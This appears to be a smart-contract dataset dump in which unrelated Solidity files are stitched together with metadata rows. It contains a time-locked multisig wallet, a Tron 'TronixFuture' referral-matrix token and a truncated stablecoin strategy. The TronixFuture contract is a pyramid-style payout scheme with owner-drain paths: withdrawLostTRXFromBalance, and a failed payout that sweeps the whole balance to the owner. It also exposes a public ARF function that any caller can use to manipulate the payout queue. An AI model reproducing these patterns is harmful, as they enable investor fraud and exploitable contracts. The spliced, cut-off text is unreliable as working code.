contract MultiSigWalletWithTimeLock is MultiSigWallet {
event ConfirmationTimeSet(uint indexed transactionId, uint confirmationTime);
event TimeLockChange(uint secondsTimeLocked);
uint public secondsTimeLocked;
mapping (uint => uint) public confirmationTimes;
modifier notFullyConfirmed(uint transactionId) {
require(!isConfirmed(transactionId));
_;
}
modifier fullyConfirmed(uint transactionId) {
require(isConfirmed(transactionId));
_;
}
modifier pastTimeLock(uint transactionId) {
require(block.timestamp >= confirmationTimes[transactionId] + secondsTimeLocked);
_;
}
/// @dev Contract constructor sets initial owners, required number of confirmations, and time lock.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWalletWithTimeLock(address[] _owners, uint _required, uint _secondsTimeLocked)
public
MultiSigWallet(_owners, _required)
{
secondsTimeLocked = _secondsTimeLocked;
}
/// @dev Changes the duration of the time lock for transactions.
function changeTimeLock(uint _secondsTimeLocked)
public
onlyWallet
{
secondsTimeLocked = _secondsTimeLocked;
TimeLockChange(_secondsTimeLocked);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
notFullyConfirmed(transactionId)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
if (isConfirmed(transactionId)) {
setConfirmationTime(transactionId, block.timestamp);
}
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
notFullyConfirmed(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
fullyConfirmed(transactionId)
pastTimeLock(transactionId)
{
Transaction storage tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
/// @dev Sets the time of when a submission first passed.
function setConfirmationTime(uint transactionId, uint confirmationTime)
internal
{
confirmationTimes[transactionId] = confirmationTime;
ConfirmationTimeSet(transactionId, confirmationTime);
}
}
contract MultiSigWalletWithTimeLockExceptRemoveAuthorizedAddress is MultiSigWalletWithTimeLock {
address public TOKEN_TRANSFER_PROXY_CONTRACT;
modifier validRemoveAuthorizedAddressTx(uint transactionId) {
Transaction storage tx = transactions[transactionId];
require(tx.destination == TOKEN_TRANSFER_PROXY_CONTRACT);
require(isFunctionRemoveAuthorizedAddress(tx.data));
_;
}
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _tokenTransferProxy Address of TokenTransferProxy contract.
function MultiSigWalletWithTimeLockExceptRemoveAuthorizedAddress(address[] _owners,
uint _required,
uint _secondsTimeLocked,
address _tokenTransferProxy)
public
MultiSigWalletWithTimeLock(_owners, _required, _secondsTimeLocked)
{
TOKEN_TRANSFER_PROXY_CONTRACT = _tokenTransferProxy;
}
/// @dev Allows execution of removeAuthorizedAddress without time lock.
/// @param transactionId Transaction ID.
function executeRemoveAuthorizedAddress(uint transactionId)
public
notExecuted(transactionId)
fullyConfirmed(transactionId)
validRemoveAuthorizedAddressTx(transactionId)
{
Transaction storage tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
/// @dev Compares first 4 bytes of byte array to removeAuthorizedAddress function signature.
/// @param data Transaction data.
/// @return Successful if data is a call to removeAuthorizedAddress.
function isFunctionRemoveAuthorizedAddress(bytes data)
public
constant
returns (bool)
{
bytes4 removeAuthorizedAddressSignature = bytes4(sha3("removeAuthorizedAddress(address)"));
for (uint i = 0; i < 4; i++) {
require(data[i] == removeAuthorizedAddressSignature[i]);
}
return true;
}
}
| 213,851 | 11,330 |
07244a0afe4f1bdfef2c7e9709d0dcc0b0f8041b43e41cb6f8117a9336af5eb0
| 31,603 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TQ/TQG2USdnbYGRiJfHQcbc6L7N6BkzGi5oF1_START.sol
| 7,293 | 28,655 |
//SourceUnit: TronixFuture.sol
pragma solidity 0.4.25;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenTRC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
///
function _transferFromOwner(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
if(_to != 0x0){
// Check if the sender has enough
if(balanceOf[_from] >= _value){
// Check for overflows
if(balanceOf[_to] + _value >= balanceOf[_to]){
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
}
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract START is TokenTRC20 {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
int noofARFActivated;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
struct currentPayment
{
uint userid;
address currentPaymentAddress;
uint level;
uint8 noofpayments;
uint256 totalpayment;
bool activatorflag;
bool upgradeflag;
}
uint256 public idd =1;
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 20;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => mapping(uint=>currentPayment)) public currentpayment;
uint public lastUserId = 2;
address public owner;
address public deployer;
mapping(uint8 => uint) public levelPrice;
//mapping(uint8 => uint) public levelPricex4;
mapping(uint8 => uint) public Currentuserids;
mapping(uint8 => uint) public CurrentPaymentid;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId,uint activaterefferaltimestamp);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level,bool recflag);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place,bool reactivatorflag,bool recflag);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
event RewardBonus(address users,address refferal);
event PaymentToWalletX3(address indexed user,uint256 amount,uint256 prevlevel,uint256 nextlevel);
constructor(address ownerAddress) public TokenTRC20(15000000,"TronixFuture", "TXF") {
levelPrice[1] = 50 trx;
levelPrice[2] = 100 trx;
levelPrice[3] = 200 trx;
levelPrice[4] = 300 trx;
levelPrice[5] = 400 trx;
levelPrice[6] = 500 trx;
levelPrice[7] = 750 trx;
levelPrice[8] = 1000 trx;
levelPrice[9] = 1500 trx;
levelPrice[10] = 2500 trx;
levelPrice[11] = 4000 trx;
levelPrice[12] = 5000 trx;
levelPrice[13] = 7500 trx;
levelPrice[14] = 10000 trx;
levelPrice[15] = 12500 trx;
levelPrice[16] = 15000 trx;
levelPrice[17] = 20000 trx;
levelPrice[18] = 30000 trx;
levelPrice[19] = 40000 trx;
levelPrice[20] = 50000 trx;
owner = ownerAddress;
deployer=msg.sender;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0),
noofARFActivated : 0
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
Currentuserids[1]++;
users[ownerAddress].activeX3Levels[1] = true;
for (uint8 ii = 1; ii <= LAST_LEVEL; ii++) {
users[ownerAddress].activeX6Levels[ii] = true;
CurrentPaymentid[ii] = 1;
}
currentPayment memory currentpay = currentPayment({
userid : Currentuserids[1],
currentPaymentAddress: owner,
level: 1,
noofpayments : 0,
totalpayment : 0,
activatorflag:false,
upgradeflag:true
});
currentpayment[1][Currentuserids[1]] = currentpay;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function withdrawLostTRXFromBalance() public {
require(msg.sender == owner, "onlyOwner");
owner.transfer(address(this).balance);
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
_transferFromOwner(deployer,msg.sender,150*1000000000000000000);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 2) {
require(users[msg.sender].activeX6Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(!isUserExists(userAddress), "user exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
require(isUserExists(referrerAddress), "referrer not exists");
require(msg.value == levelPrice[1]*2, "invalid registration cost");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
noofARFActivated : 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
users[userAddress].activeX6Levels[1] = true;
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
users[userAddress].activeX3Levels[1] = true;
address freeX3Referrer = msg.sender;
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
UpdateX3(1,userAddress,false,true);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id,now + 3 days);
}
function UpdateX3(uint8 level,address caddress,bool activatorflag,bool upgradeflag) private
{
Currentuserids[level]++;
currentPayment memory currentpay = currentPayment({
userid : users[caddress].id,
currentPaymentAddress: caddress,
level: level,
noofpayments : 0,
totalpayment : 0,
activatorflag : activatorflag,
upgradeflag:upgradeflag
});
currentpayment[level][Currentuserids[level]] = currentpay;
if(Currentuserids[level]==CurrentPaymentid[level]){
if (!address(uint160(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress)).send(levelPrice[level]/2)) {
}
// return ;
}else{
currentpayment[level][CurrentPaymentid[level]].noofpayments++;
currentPayment memory ActivePaymentUserDetails = currentpayment[level][CurrentPaymentid[level]];
emit NewUserPlace(caddress, ActivePaymentUserDetails.currentPaymentAddress, 1, level,ActivePaymentUserDetails.noofpayments,activatorflag,ActivePaymentUserDetails.activatorflag);
}
if(users[ActivePaymentUserDetails.currentPaymentAddress].activeX3Levels[level+1] == true || level==LAST_LEVEL)
{
if(currentpayment[level][CurrentPaymentid[level]].noofpayments == 2 && currentpayment[level][CurrentPaymentid[level]].upgradeflag)
{
emit Upgrade(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress, currentpayment[level+1][CurrentPaymentid[level+1]].currentPaymentAddress, 1, level+1);
users[ActivePaymentUserDetails.currentPaymentAddress].activeX3Levels[level+1]=true;
sendBalanceAmountofUpgrade(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,level,level+1);
UpdateX3(level+1,currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,currentpayment[level][CurrentPaymentid[level]].activatorflag,true);
}
if(currentpayment[level][CurrentPaymentid[level]].noofpayments == 3)
{
currentpayment[level][CurrentPaymentid[level]].noofpayments = 0;
CurrentPaymentid[level]++;
emit Reinvest(ActivePaymentUserDetails.currentPaymentAddress,currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,1,level,ActivePaymentUserDetails.activatorflag);
UpdateX3(level,ActivePaymentUserDetails.currentPaymentAddress,ActivePaymentUserDetails.activatorflag,false);
}
else if(users[currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress].noofARFActivated <4 && level == 4 && currentpayment[level][CurrentPaymentid[level]].noofpayments < 3){
ARF(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress);
}
else if(currentpayment[level][CurrentPaymentid[level]].upgradeflag==false){
if (address(uint160(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress)).send(levelPrice[level])) {
emit PaymentToWalletX3(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,levelPrice[level],level,level);
}
}
}
else
{
if(currentpayment[level][CurrentPaymentid[level]].noofpayments == 2)
{
emit Upgrade(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress, currentpayment[level+1][CurrentPaymentid[level+1]].currentPaymentAddress, 1, level+1);
users[ActivePaymentUserDetails.currentPaymentAddress].activeX3Levels[level+1]=true;
sendBalanceAmountofUpgrade(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,level,level+1);
UpdateX3(level+1,currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,currentpayment[level][CurrentPaymentid[level]].activatorflag,true);
}
else
{
}
}
}
function sendBalanceAmountofUpgrade(address user,uint8 prevlevel,uint8 nextlevel) internal {
uint amount=(levelPrice[prevlevel]*2)-levelPrice[nextlevel];
if(amount>0){
if (address(uint160(user)).send(amount)) {
emit PaymentToWalletX3(user,amount,prevlevel,nextlevel);
}
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length),false,false);
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5,false,false);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6,false,false);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3,false,false);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4,false,false);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5,false,false);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6,false,false);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length),false,false);
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length),false,false);
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length),false,false);
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length),false,false);
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level,false);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level,false);
sendETHDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if(users[userAddress].referrer==address(0) || !isUserExists(users[userAddress].referrer)){
return owner;
}
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
if(address(uint160(owner)).send(address(this).balance))
return;
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function ARF(address activeuser) public
{
for(int i = 1; i<=8; i++)
{
UpdateX3(1,activeuser,true,true);
}
users[activeuser].noofARFActivated+=1;
}
}
| 290,174 | 11,331 |
8ddd351b5502cc70648efe513e597fc928a206ee828dfce8c94ed6e0a723045d
| 15,075 |
.sol
|
Solidity
| false |
402020685
|
ovnstable/ovnstable-core
|
4f265bddb8e4cc6a32dadd7775c551fe7fe70f83
|
pkg/strategies/polygon/contracts/StrategyDystopiaUsdcTusd.sol
| 3,666 | 14,086 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "@overnight-contracts/core/contracts/Strategy.sol";
import "@overnight-contracts/swapper/contracts/ISwapper.sol";
import "@overnight-contracts/connectors/contracts/stuff/Dystopia.sol";
import "@overnight-contracts/connectors/contracts/stuff/Penrose.sol";
import "@overnight-contracts/connectors/contracts/stuff/Curve.sol";
import "@overnight-contracts/common/contracts/libraries/OvnMath.sol";
import "@overnight-contracts/connectors/contracts/stuff/Chainlink.sol";
contract StrategyDystopiaUsdcTusd is Strategy, DystopiaExchange {
uint256 public constant BASIS_POINTS_FOR_SLIPPAGE_EIGHT = 8;
IERC20 public usdcToken;
IERC20 public tusdToken;
IERC20 public dystToken;
IERC20 public wmaticToken;
uint256 public usdcTokenDenominator;
uint256 public tusdTokenDenominator;
IDystopiaLP public gauge;
IDystopiaLP public dystPair;
IPriceFeed public oracleUsdc;
IPriceFeed public oracleTusd;
IERC20 public penToken;
IUserProxy public userProxy;
IPenLens public penLens;
ISwapper public swapper;
uint256 public stakeStep;
address public curveStablePool;
address public curveMetaPool;
int128 public curveIndexUsdc;
int128 public curveIndexTusd;
// --- constructor
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize() initializer public {
__Strategy_init();
}
// --- Setters
function setTokens(address _usdcToken,
address _tusdToken,
address _dystToken,
address _wmaticToken,
address _penToken,
int128 _curveIndexUsdc,
int128 _curveIndexTusd) external onlyAdmin {
require(_usdcToken != address(0), "Zero address not allowed");
require(_tusdToken != address(0), "Zero address not allowed");
require(_dystToken != address(0), "Zero address not allowed");
require(_wmaticToken != address(0), "Zero address not allowed");
require(_penToken != address(0), "Zero address not allowed");
usdcToken = IERC20(_usdcToken);
tusdToken = IERC20(_tusdToken);
dystToken = IERC20(_dystToken);
wmaticToken = IERC20(_wmaticToken);
penToken = IERC20(_penToken);
usdcTokenDenominator = 10 ** IERC20Metadata(_usdcToken).decimals();
tusdTokenDenominator = 10 ** IERC20Metadata(_tusdToken).decimals();
curveIndexUsdc = _curveIndexUsdc;
curveIndexTusd = _curveIndexTusd;
}
function setParams(address _gauge,
address _dystPair,
address _dystRouter,
address _oracleUsdc,
address _oracleTusd,
address _userProxy,
address _penLens,
address _swapper,
uint256 _stakeStep,
address _curveStablePool,
address _curveMetaPool) external onlyAdmin {
require(_gauge != address(0), "Zero address not allowed");
require(_dystPair != address(0), "Zero address not allowed");
require(_dystRouter != address(0), "Zero address not allowed");
require(_oracleUsdc != address(0), "Zero address not allowed");
require(_oracleTusd != address(0), "Zero address not allowed");
require(_userProxy != address(0), "Zero address not allowed");
require(_penLens != address(0), "Zero address not allowed");
require(_swapper != address(0), "Zero address not allowed");
gauge = IDystopiaLP(_gauge);
dystPair = IDystopiaLP(_dystPair);
_setDystopiaRouter(_dystRouter);
oracleUsdc = IPriceFeed(_oracleUsdc);
oracleTusd = IPriceFeed(_oracleTusd);
userProxy = IUserProxy(_userProxy);
penLens = IPenLens(_penLens);
swapper = ISwapper(_swapper);
stakeStep = _stakeStep;
curveStablePool = _curveStablePool;
curveMetaPool = _curveMetaPool;
}
// --- logic
function _stake(address _asset,
uint256 _amount) internal override {
require(_asset == address(usdcToken), "Some token not compatible");
(uint256 reserveUsdc, uint256 reserveTusd,) = dystPair.getReserves();
require(reserveUsdc > 10 ** 3 && reserveTusd > 10 ** 15, 'Liquidity lpToken reserves too low');
uint256 usdcBalance = usdcToken.balanceOf(address(this));
uint256 amountUsdcToSwap = _getAmountToken0(usdcBalance,
reserveUsdc,
reserveTusd,
usdcTokenDenominator,
tusdTokenDenominator,
1,
address(usdcToken),
address(tusdToken));
// swap usdc to usdt
ISwapper.SwapParams memory swapParams = ISwapper.SwapParams(address(usdcToken),
address(tusdToken),
amountUsdcToSwap,
OvnMath.subBasisPoints(amountUsdcToSwap*(10**12), BASIS_POINTS_FOR_SLIPPAGE_EIGHT),
1);
IERC20(swapParams.tokenIn).approve(address(swapper), swapParams.amountIn);
swapper.swap(swapParams);
// add liquidity
usdcBalance = usdcToken.balanceOf(address(this));
uint256 tusdBalance = tusdToken.balanceOf(address(this));
_addLiquidity(address(usdcToken),
address(tusdToken),
usdcBalance,
tusdBalance,
